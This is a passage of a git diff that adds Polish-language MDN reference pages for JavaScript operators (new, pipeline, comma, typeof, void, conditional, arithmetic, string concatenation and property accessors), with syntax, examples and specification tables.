Person('Rand McNally', 33, 'M'); +var ken = new Person('Ken Jones', 39, 'M'); +</pre> + +<p>Teraz możemy przepisać definicję <code>Car</code> tak, by zawierała właściwość <code>owner</code>, która przyjmuje obiekt:</p> + +<pre class="brush: js notranslate">function Car(make, model, year, owner) { + this.make = make; + this.model = model; + this.year = year; + this.owner = owner; +} +</pre> + +<p>Aby utworzyć nowe obiekty, należy napisać:</p> + +<pre class="brush: js notranslate">var car1 = new Car('Eagle', 'Talon TSi', 1993, rand); +var car2 = new Car('Nissan', '300ZX', 1992, ken); +</pre> + +<p>Zamiast przekazywania wartości liczbowych lub łańcuchów znaków, w powyższym przykładzie przekazywane są obiekty: <code>rand</code> oraz <code>ken</code>. Aby uzyskać imię właściciela samochodu <code>car2</code>, należy napisać:</p> + +<pre class="brush: js notranslate">car2.owner.name +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specifikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-new-operator', 'The new Operator')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-new-operator', 'The new Operator')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.2.2', 'The new Operator')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES3', '#sec-11.2.2', 'The new Operator')}}</td> + <td>{{Spec2('ES3')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES1', '#sec-11.2.2', 'The new Operator')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Wstępna definicja. Zaimpelementowano w JavaScript 1.0.</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + + + +<p>{{Compat("javascript.operators.new")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Function")}}</li> + <li>{{jsxref("Reflect.construct()")}}</li> + <li>{{jsxref("Object.prototype")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/operator_potoku/index.html b/files/pl/web/javascript/referencje/operatory/operator_potoku/index.html new file mode 100644 index 0000000000..9bc36390af --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operator_potoku/index.html @@ -0,0 +1,65 @@ +--- +title: Operator potoku +slug: Web/JavaScript/Referencje/Operatory/Operator_potoku +tags: + - JavaScript + - Operator + - ekxperymentalny +translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator +--- +<div>{{jsSidebar("Operators")}} {{SeeCompatTable}}</div> + +<div>Eskperymentalny operator potoku <code>|></code> (obecnie na pierwszym etapie testów) pozwala na tworzenie łańcuchów wywołań funkcji w czytelny sposób. Dodaje lukier syntaktyczny do wywołania funkcji z pojedynczym argumentem, pozwalając przykładowo na pisanie <code>'%21' |> decodeURI</code> zamiast <code>decodeURI('%21')</code>.</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">wyrażenie |> funkcja</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Łańcuchowe_wywołania_funkcji">Łańcuchowe wywołania funkcji</h3> + +<p>Operator potoku może poprawić czytelność kodu przy łańcuchowych wywołaniach wielu funkcji.</p> + +<pre class="brush: js">const double = (n) => n * 2; +const increment = (n) => n + 1; + +// bez operatora potoku +double(increment(double(double(5)))); // 42 + +// z użyciem potoku +5 |> double |> double |> increment |> double; // 42 +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Uwagi</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="http://tc39.github.io/proposal-pipeline-operator/">Pipeline operator draft</a></td> + <td>Stage 1</td> + <td>Nie jest jeszcze częścią specyfikacji ECMAScript.</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div> + + +<p>{{Compat("javascript.operators.pipeline")}}</p> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="https://github.com/tc39/proposals">TC39 proposals</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/operator_przecinkowy/index.html b/files/pl/web/javascript/referencje/operatory/operator_przecinkowy/index.html new file mode 100644 index 0000000000..b037dcfdc8 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operator_przecinkowy/index.html @@ -0,0 +1,37 @@ +--- +title: Operator przecinkowy +slug: Web/JavaScript/Referencje/Operatory/Operator_przecinkowy +tags: + - JavaScript + - Operator + - Przecinek + - Przecinkowy +translation_of: Web/JavaScript/Reference/Operators/Comma_Operator +--- +<div>{{jsSidebar("Operators")}}</div> + +<h3 id="Podsumowanie" name="Podsumowanie"></h3> + +<p>Operator przecinkowy wykonuje wszystkie argumenty i zwraca wynik ostatniego argumentu.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox notranslate"><em>wyr1</em>, <em>wyr2, wyr3...</em></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>wyr1</code>, <code>wyr2, wyr3</code></dt> + <dd>Wyrażenia, z których jedynie ostatnie jest zwracane.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Możemy zastosować operator przecinkowy, kiedy chcemy utworzyć wyrażenie składające się z kilku wyrażeń. Operator przecinkowy jest chyba najczęściej używany w instrukcji pętli for.</p> + +<p>Na przykład, jeśli <code>a</code> jest tablicą dwuwymiarową z 10 elementami w sobie, następujący kod użyje operatora przecinkowego do zwiększenia dwóch zmiennych na raz. Kod wypisze wartości elementów ułożonych po przekątnej w tablicy:</p> + +<pre class="brush: js notranslate">var a = [[]]; +for (var i=0, j=9; i <= 9; i++, j--) + console.log("a["+i+","+j+"]= " + a[i,j]) +</pre> diff --git a/files/pl/web/javascript/referencje/operatory/operator_typeof/index.html b/files/pl/web/javascript/referencje/operatory/operator_typeof/index.html new file mode 100644 index 0000000000..dfb169a9b5 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operator_typeof/index.html @@ -0,0 +1,91 @@ +--- +title: Operator typeof +slug: Web/JavaScript/Referencje/Operatory/Operator_typeof +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Operators/typeof +--- +<p> </p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Operator <code>typeof</code> używa się na jeden z poniższych sposobów:</p> + +<ol> + <li><code>typeof <em>operand</em> </code></li> + <li><code>typeof (<em>operand</em> )</code></li> +</ol> + +<p>Operator <code>typeof</code> zwraca łańcuch zawierający <span class="comment">type of unevaluated operand: jak przetłumaczyć unevaluated?</span>typ operandu. <code>operand</code> jest łańcuchem znaków, zmienną, słowem kluczowym lub obiektem, którego typ ma zostać zwrócony. Zastosowanie nawiasów jest opcjonalne.</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <td class="header" colspan="2">Operator</td> + </tr> + <tr> + <td>Zaimplementowany w:</td> + <td>JavaScript 1.1</td> + </tr> + <tr> + <td>Wersja ECMA:</td> + <td>ECMA-262</td> + </tr> + </tbody> +</table> + +<p>Zakładamy, że możemy zdefiniować następujące zmienne:</p> + +<pre>var myFun = new Function("5+2") +var shape="round" +var size=1 +var today=new Date() +</pre> + +<p>Operator <code>typeof</code> zwróci następujący rezultat dla tych zmiennych:</p> + +<pre>typeof myFun is object +typeof shape is string +typeof size is number +typeof today is object +typeof dontExist is undefined +</pre> + +<p>Dla słów kluczowych <code>true</code> oraz <code>null</code>, operator <code>typeof</code> zwraca następujący rezultat:</p> + +<pre>typeof true is boolean +typeof null is object +</pre> + +<p>Dla liczby lub łańcucha znaków, operator <code>typeof</code> zwraca następujący rezultat:</p> + +<pre>typeof 62 is number +typeof 'Hello world' is string +</pre> + +<p>Dla własności wartości, operator <code>typeof</code> zwraca typ wartości własności, jakie składają się na treść:</p> + +<pre>typeof document.lastModified is string +typeof window.length is number +typeof Math.LN2 is number +</pre> + +<p>Dla metod i funkcji, operator <code>typeof</code> zwraca następujący rezultat:</p> + +<pre>typeof blur is function +typeof eval is function +typeof parseInt is function +typeof shape.split is function +</pre> + +<p>Dla obiektów predefiniowanych, operator <code>typeof</code> zwraca następujący rezultat:</p> + +<pre>typeof Date is function +typeof Function is function +typeof Math is function +typeof Option is function +typeof String is function +</pre> diff --git a/files/pl/web/javascript/referencje/operatory/operator_void/index.html b/files/pl/web/javascript/referencje/operatory/operator_void/index.html new file mode 100644 index 0000000000..65b3fe8fa2 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operator_void/index.html @@ -0,0 +1,51 @@ +--- +title: Operator void +slug: Web/JavaScript/Referencje/Operatory/Operator_void +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Operators/void +--- +<p> </p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Operator <code>void</code> może być używany na jeden z dwóch sposobów:</p> + +<ol> + <li><code>void (<em>wyrażenie</em> )</code></li> + <li><code>void <em>wyrażenie</em> </code></li> +</ol> + +<p>Operator <code>void</code> określa wyrażenie, które ma zostać ocenione bez zwracania wartości. <code>wyrażenie</code> jest wyrażeniem JavaScript, które ma zostać ocenione. Nawiasy dookoła wyrażenia są opcjonalne, ale używanie ich jest w dobrym stylu.</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <td class="header" colspan="2">Operator</td> + </tr> + <tr> + <td>Zaimplementowany w:</td> + <td>JavaScript 1.1</td> + </tr> + <tr> + <td>Wersja ECMA:</td> + <td>ECMA-262</td> + </tr> + </tbody> +</table> + +<p>Możesz użyć operatora <code>void</code>, aby określić wyrażenie jako hipertekstowy odnośnik. Wyrażenie jest oceniane, ale nie jest ładowane w miejsce aktualnego dokumentu.</p> + +<p>Poniższy kod tworzy hipertekstowy odnośnik, który nie wykonuje nic po kliknięciu go przez użytkownika. Gdy użytkownik kliknie odnośnik, void(0) zostanie oceniony jako 0, jednak nie ma to żadnego efektu w JavaScripcie.</p> + +<pre><a href="javascript:void(0)">Kliknij tutaj, żeby nic się nie stało</a> +</pre> + +<p>Poniższy kod tworzy hipertekstowy odnośnik, który wysyła formularz, gdy zostanie kliknięty przez użytkownika.</p> + +<pre><a href="javascript:void(document.form.submit())"> +Kliknij tutaj, aby wysłać.</a> +</pre> diff --git a/files/pl/web/javascript/referencje/operatory/operator_warunkowy/index.html b/files/pl/web/javascript/referencje/operatory/operator_warunkowy/index.html new file mode 100644 index 0000000000..b5b00d0aa1 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operator_warunkowy/index.html @@ -0,0 +1,34 @@ +--- +title: Operator warunkowy +slug: Web/JavaScript/Referencje/Operatory/Operator_warunkowy +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Operators/Conditional_Operator +--- +<div>{{jsSidebar("Operators")}}</div> + +<p>Operator warunkowy jest jedynym operatorem w JavaScript, który pobiera trzy argumenty. Operator jest często stosowany jako skrócenie instrukcji <code>if</code>.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><em>warunek</em> ? <em>wyr1</em> : <em>wyr2</em> </pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>warunek</code></dt> + <dd>Wyrażenie, które sprawdza czy warunek jest spełniony (<code>true</code> lub <code>false</code>).</dd> +</dl> + +<dl> + <dt><code>wyr1</code>, <code>wyr2</code></dt> + <dd>Wyrażenia z wartością jakiegoś typu.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli <code>warunek</code> jest <code>true</code>, operator zwraca wartość <code>wyr1</code>; w przeciwnym razie zwraca wartość <code>wyr2</code>. Na przykład, do wyświetlenia różnych wiadomości opartych na wartości zmiennej <code>isMember</code>, będziesz mógł zastosować poniższą instrukcję:</p> + +<pre>console.log("Opłata wynosi " + (isMember ? "$2.00" : "$10.00")); +console.log("Opłata wynosi " + (zarejestrowany == 1) ? "$2.00" : "$10.00"); +</pre> diff --git a/files/pl/web/javascript/referencje/operatory/operatory_arytmetyczne/index.html b/files/pl/web/javascript/referencje/operatory/operatory_arytmetyczne/index.html new file mode 100644 index 0000000000..8f773f525a --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operatory_arytmetyczne/index.html @@ -0,0 +1,267 @@ +--- +title: Operatory arytmetyczne +slug: Web/JavaScript/Referencje/Operatory/Operatory_arytmetyczne +tags: + - JavaScript + - Operator +translation_of: Web/JavaScript/Reference/Operators +--- +<div> +<div>{{jsSidebar("Operators")}}</div> +</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Operatory arytmetyczne pobierają wartości liczbowe (w postaci bezpośredniej lub zmiennej) jako ich operandy i zwracają jedna, wynikową wartość liczbową. Typowymi operatorami arytmetycznymi są dodawanie (+), odejmowanie (-), mnożenie (*), i dzielenie (/). Operatory te działają tak samo jak w innych językach programowania, z wyjątkiem operatora dzielenia /, który w JavaScripcie zwraca wynik będący liczbą zmiennoprzecinkową, nie obcinając części ułamkowej, jak to się dzieje w C lub Javie.</p> + +<h2 id="Dodawanie_()">Dodawanie (+)</h2> + +<p>Operator dodawania zwraca sume operandów lub jeśli chociaż jeden operand był łańcuchem znaków, ich konkatenacje.</p> + +<h3 id="Składnia">Składnia</h3> + +<pre class="syntaxbox"><strong>Operator:</strong> x + y</pre> + +<h3 class="syntaxbox" id="Przykłady">Przykłady</h3> + +<pre><code>// Number + Number -> dodawanie +1 + 2 // 3 + +// Boolean + Number -> dodawanie +true + 1 // 2 + +// Boolean + Boolean -> dodawanie +false + false // 0 + +// Number + String -> konkatenacja +5 + "foo" // "5foo" + +// String + Boolean -> konkatenacja +"foo" + false // "foofalse" + +// String + String -> konkatenacja +"foo" + "bar" // "foobar"</code></pre> + +<h2 id="sect1"> </h2> + +<h2 id="Odejmowanie_(-)">Odejmowanie (-)</h2> + +<p>Operator odejmowania zwraca różnicę między pierwszym, a drugim operandem.</p> + +<h3 id="Składnia_2">Składnia</h3> + +<pre><strong>Operator:</strong> x - y +</pre> + +<h3 id="Przykłady_2">Przykłady</h3> + +<pre><code>5 - 3 // 2 +3 - 5 // -2 +5 - true // 4 +"foo" - 3 // NaN</code></pre> + +<p> </p> + +<h2 id="Dzielenie_()">Dzielenie (/)</h2> + +<p>Operator dzielenia zwraca iloraz operandów gdzie ten po lewej stronie jest dzielną, a ten po prawej dzielnikiem.</p> + +<h3 id="Składnia_3">Składnia</h3> + +<pre><strong>Operator:</strong> x / y +</pre> + +<h3 id="Przykłady_3">Przykłady</h3> + +<pre><code>1 / 2 // zwraca 0.5 w JavaScript +1 / 2 // zwraca 0 w Java + +1.0 / 2.0 // zwraca 0.5 zarówno w JavaScript i Java + +2.0 / 0 // zwraca Infinity w JavaScript +2.0 / 0.0 // zwraca także Infinity +2.0 / -0.0 // zwraca -Infinity in JavaScript</code></pre> + +<p> </p> + +<h2 id="Mnożenie_(*)">Mnożenie (*)</h2> + +<p>Operotor mnożenia zwraca wynik mnożenia operandów.</p> + +<h3 id="Składnia_4">Składnia</h3> + +<pre><strong>Operator:</strong> x * y +</pre> + +<h3 id="Przykłady_4">Przykłady</h3> + +<pre><code>2 * 2 // 4 +-2 * 2 // -4 +Infinity * 0 // NaN +Infinity * Infinity // Infinity +"foo" * 2 // NaN</code> +</pre> + +<h2 id="Modulo" name="Modulo"> </h2> + +<h2 id="Modulo" name="Modulo">Dzielenie modulo (%)</h2> + +<p>Operator modulo zwraca resztę z dzielenia pierwszego operandu przez drugi.</p> + +<h3 id="Składnia_5">Składnia</h3> + +<pre><strong>Operator:</strong> var1 % var2 +</pre> + +<h3 id="Przykłady_5">Przykłady</h3> + +<pre><code>12 % 5 // 2 +-1 % 2 // -1 +NaN % 2 // NaN +1 % 2 // 1 +2 % 3 // 2 +-4 % 2 // -0 +5.5 % 2 // 1.5</code></pre> + +<p> </p> + +<h2 id="Potęgowanie_(**)">Potęgowanie (**)</h2> + +<div class="overheadIndicator" style="background: #9CF49C;"> +<p><strong>Ta eksperymentalna własnośc, jest częścią propozycji specyfikacji ECMAScript 2016 (ES7).</strong><br> + Ponieważ specyfikacja tej własność i nie została oficjalnie wdrożona, przed użyciem zapoznaj się z tabelą kompatybilności dla różnych przeglądarek. Warto wspomnieć, że składnia jak i zachowanie eksperymentalnych własności mogą zmieniać się wraz ze zmianami w specyfikacji.</p> +</div> + +<p>Operator ten zwraca wynik gdzie pierwszy operand jest podstawą, a drugi wykładnikiem (<code>var1</code><sup><code>var2</code></sup>). Operator ten jest asocjacyjny co oznacza, że dopuszalne jest użycie w formie <code>a ** b ** c, co jest równe a ** (b ** c)</code>.</p> + +<h3 id="Składnia_6">Składnia</h3> + +<pre><strong>Operator:</strong> var1 ** var2 +</pre> + +<h3 id="Uwagi">Uwagi</h3> + +<p>W większości języków programowania które posiadają operator potęgowania (zwykle jako ^ lub **) jak np. PHP czy Python, ma on wyższy priorytet niż operatory jedno argumentowe (oznaczające liczbę dodatnią lub ujemną) + czy -, ale istnieją wyjątki. Np. w Bash ten operator posiada niższy priorytet niż wspomniane wcześniej + czy -.<br> + W JavaScript niemożliwe jest użycie operatorów jedno argumentowych (<code>+/-/~/!/delete/void/typeof</code>) bezpośrednio przed podstawą.</p> + +<pre><code>-2 ** 2; +// 4 w Bash, -4 w innych językach. +// W JavaScript jest to nieprawidłowa próba użycia operatora potęgowania. + + +-(2 ** 2); // -4 +5 ** -2 // 0.04</code> +</pre> + +<h3 id="Przykłady_6">Przykłady</h3> + +<pre><code>2 ** 3 // 8 +3 ** 2 // 9 +3 ** 2.5 // 15.588457268119896 +10 ** -1 // 0.1 +NaN ** 2 // NaN + +2 ** 3 ** 2 // 512 +2 ** (3 ** 2) // 512 +(2 ** 3) ** 2 // 64</code></pre> + +<p>Aby odwrócić znak zwracanej wartości:</p> + +<pre><code>-(2 ** 2) // -4</code></pre> + +<p>Sposób na wymuszenie potęgowania ujemnej liczby:</p> + +<pre><code>(-2) ** 2 // 4</code></pre> + +<h2 id="Inkrementacja" name="Inkrementacja"> </h2> + +<h2 id="Inkrementacja" name="Inkrementacja">Inkrementacja (++)</h2> + +<p>Operator inkrementacji zwiększa o 1 wartość operandu i zwraca taką wartość. </p> + +<ul> + <li>Jeśli uzyty jako przyrostek (x++), będzie działał jako postinkrementacja, czyli zwracana wartość nie będzie powiększona.</li> + <li>Jeśli użyty jako przedrostek (++x), będzie działał jako preinkrementacja, czyli zwracana wartość będzie już powiększona. </li> +</ul> + +<h3 id="Składnia_7">Składnia</h3> + +<pre><strong>Operator:</strong> x++ lub ++x +</pre> + +<h3 id="Examples">Examples</h3> + +<pre><code>// Przyrostek +var x = 3; +y = x++; // y = 3, x = 4 + +// Przedrostek +var a = 2; +b = ++a; // a = 3, b = 3</code></pre> + +<p> </p> + +<h2 id="Dekrementacja_(--)">Dekrementacja (--)</h2> + +<p>Operator dekrementacji zmniejsza o 1 wartość operandu i zwraca taką wartość.</p> + +<ul> + <li>Jeśli uzyty jako przyrostek (x--), będzie działał jako postdekrementacja, czyli zwracana wartość nie będzie pomniejszona.</li> + <li>Jeśli użyty jako przedrostek (--x), będzie działał jako predekrementacja, czyli zwracana wartość będzie już pomniejszona. </li> +</ul> + +<h3 id="Składnia_8">Składnia</h3> + +<pre><strong>Operator:</strong> x-- lub --x +</pre> + +<h3 id="Przykłady_7">Przykłady</h3> + +<pre><code>// Przyrostek +var x = 3; +y = x--; // y = 3, x = 2 + +// Przedrostek +var a = 2; +b = --a; // a = 1, b = 1</code></pre> + +<p> </p> + +<h2 id="Inkrementacja" name="Inkrementacja">Negacja (-)</h2> + +<p>Jednoargumentowy operator negacji zwraca wartość operandu ze zmienionym znakiem.</p> + +<h3 id="Składnia_9">Składnia</h3> + +<pre><strong>Operator:</strong> -x +</pre> + +<h3 id="Przykłady_8">Przykłady</h3> + +<pre><code>var x = 3; +y = -x; // y = -3, x = 3</code></pre> + +<p> </p> + +<h2 id="Inkrementacja" name="Inkrementacja">Jednoargumentowy plus (+)</h2> + +<p>Jest to jednoargumentowy operator, który transformuje inne typy zmiennych do typu Number. Jeśli dana wartość nie może zostać przetransformowana, zwracany jest typ NaN.</p> + +<h3 id="Składnia_10">Składnia</h3> + +<pre><strong>Operator:</strong> +x +</pre> + +<h3 id="Przykłady_9">Przykłady</h3> + +<pre><code>+3 // 3 ++"3" // 3 ++true // 1 ++false // 0 ++null // 0 + +var x = function(val){ + return val +} +</code>+x // NaN +</pre> diff --git a/files/pl/web/javascript/referencje/operatory/operatory_działające_na_ciągach_znaków/index.html b/files/pl/web/javascript/referencje/operatory/operatory_działające_na_ciągach_znaków/index.html new file mode 100644 index 0000000000..6087023171 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operatory_działające_na_ciągach_znaków/index.html @@ -0,0 +1,34 @@ +--- +title: Operatory działające na ciągach znaków +slug: Web/JavaScript/Referencje/Operatory/Operatory_działające_na_ciągach_znaków +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Oprócz operatorów porównania, których można używać z ciągami znaków, dostępny jest także operator konkatenacji (<code>+</code>), łączący dwie wartości tekstowe w jedną, zwracający nowy ciąg znaków stanowiący połączenie swoich operandów. Na przykład <code>"ciąg " + "znaków"</code> zwróci <code>"ciąg znaków"</code>. +</p><p>Skrócony operator przypisania <code>+=</code> może być również używany do konkatenacji ciągów znaków. Na przykład, jeśli zmienna <code>mojtekst</code> zawiera wartość "<code>alfa</code>", wyrażenie <code>mojtekst += "bet"</code> zostanie wyliczone jako "<code>alfabet</code>", a wartość ta zostanie przypisana do zmiennej <code>mojtekst</code>. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Operator</td> +</tr> +<tr> +<td>Zaimplementowany w:</td> +<td>JavaScript 1.0</td> +</tr> +<tr> +<td>Wersja ECMA:</td> +<td>ECMA-262</td> +</tr> +</tbody></table> +<p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Operators/String_Operators", "es": "es/Referencia_de_JavaScript_1.5/Operadores/String", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Op\u00e9rateurs/Op\u00e9rateurs_de_cha\u00eenes" } ) }} diff --git a/files/pl/web/javascript/referencje/operatory/operatory_pamięci/index.html b/files/pl/web/javascript/referencje/operatory/operatory_pamięci/index.html new file mode 100644 index 0000000000..5db4669011 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operatory_pamięci/index.html @@ -0,0 +1,177 @@ +--- +title: Operatory pamięci +slug: Web/JavaScript/Referencje/Operatory/Operatory_pamięci +tags: + - JavaScript + - Operator +translation_of: Web/JavaScript/Reference/Operators/Property_Accessors +--- +<div> +<div>{{jsSidebar("Operators")}}</div> +</div> + +<p>Operatory pamięci umożliwiają dostęp do właściwości lub metod obiektu.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">object.property +object['property'] +</pre> + +<h2 id="Opis">Opis</h2> + +<p>Obiekt, w rzeczywistości, jest <em>kojarzeniową tablicą</em> (jak <em>mapa, słownik, hash, poglądowa tabela</em>).<em> Klucze </em>w tablicy są nazwami właściwości i metod (właściwości odnoszących się do funkcji). Istnieją dwa sposoby uzyskania dostępu do właściwości: zapis z kropką lub zapis z nawiasem (operator indeksu dolnego).</p> + +<h3 id="Dot_notation" name="Dot_notation">Zapis z kropką</h3> + +<pre class="brush: js">get = object.property; +object.property = set; +</pre> + +<p><code>property</code> musi być nazwane poprawnie, według zasad JavaScript, innymi słowy: musi być sekwencją znaków alfanumerycznych (włączając w to znak podkreślenia oraz znak dolara), która nie zaczyna się od cyfry. Na przykład: <code>object.$1</code> jest poprawny, natomiast <code>object.1</code> jest nieprawidłowy.</p> + +<p>Przykład:</p> + +<pre class="brush: js">document.createElement('pre'); +</pre> + +<p>Metoda "createElement" jest wywoływana z poziomu <code>document</code>.</p> + +<pre class="brush: js" id="Bracket_notation">Zapis z nawiasem</pre> + +<pre>get = object[property_name]; +object[property_name] = set; +</pre> + +<p><code>property_name</code> jest łańcuchem znaków, nie musi być poprawnym identyfikatorem - może być zupełnie dowolny, przykładowo: "1foo", "!bar!" lub nawet " " (spacja).</p> + +<pre class="brush: js">document['createElement']('pre'); +</pre> + +<p>Mimo różnic, powyższa notacja wykonuje dokładnie to samo co zapis z kropką.</p> + +<h3 id="Nazwy_w.C5.82asno.C5.9Bci" name="Nazwy_w.C5.82asno.C5.9Bci">Nazwy właściwości</h3> + +<p>Nazwy właściwości muszą być łańcuchami. Oznacza to, że nazwy nie będące łańcuchami nie mogą być używane jako klucze w obiekcie. Dowolny obiekt nie będący łańcuchem, wliczając w to liczby, zostanie zrzutowany do obiektu string poprzez metodę {{jsxref("Object.toString", "toString()")}}.</p> + +<pre class="brush: js">var object = {}; +object['1'] = 'value'; +alert(object[1]); +</pre> + +<p>Powyższy kod wyświetla "value", ponieważ 1 został zrzutowany do '1'.</p> + +<pre class="brush: js">var foo = {unique_prop: 1}, bar = {unique_prop: 2}, object = {}; +object[foo] = 'value'; +console.log(object[bar]); +</pre> + +<p>W tym przykładzie także zostanie wypisany "value", ponieważ zarówno foo jak i bar zostały skonwertowane do tego samego łańcucha. W silniku JavaScript <a href="/pl/docs/SpiderMonkey" title="SpiderMonkey">SpiderMonkey</a>, łańcuch będzie wyglądał następująco: "{{ mediawiki.external('object Object') }}".</p> + +<h3 id="Wi.C4.85zanie_metod" name="Wi.C4.85zanie_metod">Wiązanie metod</h3> + +<p>Metoda nie jest powiązana z obiektem, którego jest metodą. Innymi słowy: <code>this</code> w metodzie nie jest ustawiony na sztywno. Nie musi on koniecznie odnosić się do obiektu zawierającego metodę. Zamiast tego <code>this</code> jest przekazywany do funkcji podczas jej wywoływania. Zajrzyj do <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_specjalne/Operator_this#Wi.C4.85zanie_metod" title="Dokumentacja_języka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_this#Wi.C4.85zanie_metod">wiązania metod</a> po więcej informacji.</p> + +<h3 id="Note_on_eval" name="Note_on_eval">Uwaga dotycząca <code>eval</code></h3> + +<p>Początkujący programiści JavaScript popełniają częsty błąd, używając <a href="/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/eval" title="Dokumentacja_języka_JavaScript_1.5/Funkcje/eval">eval</a> tam gdzie może być użyty zapis z nawiasem. Poniżej zaprezentowany jest przykład.</p> + +<pre class="brush: js">x = eval('document.form_name.' + strFormControl + '.value'); +</pre> + +<p><code>eval</code> jest wolno-działającą funkcją i powinien być jak najrzadziej używany. Zoptymalizowany fragment kodu brzmi:</p> + +<pre class="brush: js">x = document.form_name[strFormControl].value; +</pre> + + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-property-accessors', 'Property Accessors')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-property-accessors', 'Property Accessors')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.2.1', 'Property Accessors')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES1', '#sec-11.2.1', 'Property Accessors')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Definicja początkowa. Zaimplementowana w JavaScript 1.0.</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Object")}}</li> + <li>{{jsxref("Object/defineProperty")}}</li> +</ul> 